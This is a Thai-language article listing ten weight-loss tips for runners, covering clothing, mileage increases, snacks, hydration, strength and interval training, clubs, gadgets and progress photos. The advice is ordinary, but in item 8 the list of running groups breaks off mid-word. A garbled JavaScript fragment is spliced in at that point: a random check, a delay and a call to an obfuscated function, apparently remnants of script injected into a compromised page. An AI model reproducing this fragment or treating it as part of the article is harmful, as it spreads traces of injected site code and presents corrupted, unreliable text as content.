เราไปดูกันว่านักวิ่งเขามีวิธีทำให้หุ่นดู Fit & Firm กับ “ทิป 10 วิธีผอมแบบนักวิ่ง”
1. เลือกเสื้อผ้าเข้ารูป ทุกครั้งที่คุณเริ่มออกพุ่งจะสังเกตเห็นความเปลี่ยนแปลงได้ชัดเจน เป็นกุศโลบายทางจิตวิตยาอย่างหนึ่งที่คอยบังคับให้คุณต้องระวังอาหารการกินเพื่อดูแลรูปร่าง
2. วิ่ง Extra miles ทุกๆ สัปดาห์ที่วิ่งแบบ LSD จะมีการเพิ่มระยะทางขึ้น แต่จำไว้ว่าให้ยึดกฎ 10% คือเพิ่มได้ไม่เกิน 10% จากระยะทางเดิม เพื่อต้องกันอาการบาดเจ็บ
3. กินของรองท้องเบาๆ ก่อนออกวิ่งอย่างน้อย 15-30 นาที อย่าวิ่งท้องว่างเด็ดขาด เพราะการวิ่งจำเป็นต้องใช้พลังงาน ยิ่งวิ่งระยะไกลๆ ควรมีอาหารอย่างขนมคบเคี้ยว powerbar หรือ powergel พกติดไปด้วย เวลาจบจะช่วยลดอาการหิวโซได้อย่างดี
4. เปิดเพลง การเปิดเพลงกระตุ้นการวิ่ง ทำไห้เราวิ่งได้เร็วขึ้น มีผลต่ออัตราการเต้นของหัวใจเช่นกัน จะให้ช้าหรือเร็วก็ขึ้นกับ beat ของเพลง และช่วยให้วิ่งได้นานขึ้นเพราะเพลงจะช่วยให้ลืมอาการเจ็บปวดไปชั่วขณะ
5. ดื่มน้ำก่อนวิ่งและระหว่างวิ่ง ให้ร่างกายรักษาสมดุลน้ำ หลีกเลี่ยงเครื่องด่มเกลือแร่ที่มีขายตามท้องตลาดเพราะมีปริมาณน้ำตาลผสม แนะนำให้เลือกใช้ผลิตภัณฑ์ผงอิเล็กโตรไลท์ละลายน้ำอย่าง GU Electrolyte Brew หรือของยี่ห้อไทยอย่าง RevvEnergy ก็ดี
6. ฝึก Strength training ไม่ว่าจะยกเวทหรือเล่น Body weight ก็ได้ อย่าคิดว่านักวิ่งจะแค่วิ่งอย่างเดียว การฝึกกล้ามเนื้อก็ช่วยให้มีการเผาผลาญแคลอรี่ได้เหมือนกัน แถมช่วยป้องกันอาการบาดเจ็บด้วย
7. ฝึก Interval ใช้ได้ดีในกรณีที่เวลาออกกำลังกายมีน้อย สามารถเข้าไปดูได้ที่ บทความ “วิ่งอย่างไรเมื่อเวลามีน้อย” หรือจะเป็น “วิ่งสลายไขมันภายใน 20 นาที”
8. ชวนกับชมรม หรือกลุ่มสมาคม เพื่อนหรือก๊วนที่เรารู้จัก เพราะจะได้ช่วยกันลาก ช่วยกับกระตุ้นต่อมแรงบันดาลใจให้มีไฟที่จะวิ่งต่อไป ถ้าใครยังไม่มีกลุ่มหรือเพื่อนวิ่งลองเข้าไปดู ใน เพจ Facebook อย่าง วิ่งไหนดี, แนวร่วมลดน้ำหนัก, ประสบการณ์มาราธอน_42.195K_Clubเราจะไปมาราธอนด้วยกัน และ Ultra & Trail Runners in Thailandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ก็ได้ครับ
9. ลงทุนในอุปกรณ์ Sport Gadget อย่างเช่น นาฬิกาวิ่ง,Heart Rate Monitor, แอพออกกำลังกายอย่าง Runtastic และ Strava ช่วยให้เห็นข้อมูลการออกกำลังของคุณ ไม่ว่าจะเป็นการสะสมระยะทาง จำนวนแคลอรี่ที่เบร์นไป ความเร็วและโซนการเต้นหัวใจ ช่วยให้การวิ่งของคุรสนุกมีเป้าหมายทุกครั้ง ข้อมูลที่สะสมวันแอพจะกลายเป็นสิ่งที่คุณจับต้องได้ และโชว์ให้เพื่อนๆ ดูได้ด้วย
10. เช็คสัดส่วนตัวเองด้วยการถ่ายรูป Before-After ทดลองถ่ายรูปคุณทุกๆ สุดสัปดาห์เก็บสะสมเรื่อยจนครบ 3 เดือน แล้วสังเกตการเปลี่ยนแปลงของสัดส่วนรูปร่างคุณดู ส่วนการใช้ตราชั่งแนะนำว่า ใช้สัปดาห์ละครั้งพอ ก่อนนอนหรือตอนตื่นเช้า การออกกำลังกายไม่ว่าจะวิ่งเล่นเวทจะมีการสร้างกล้ามเนื้อมา Tone Body หรือทำให้เข้าสัดส่วน น้ำหนักที่เพิ่มมาจึงไม่ใช้เรื่องแปลก ที่สำคัญคือให้สังเกตสัดส่วนคุณเป็นหลัก
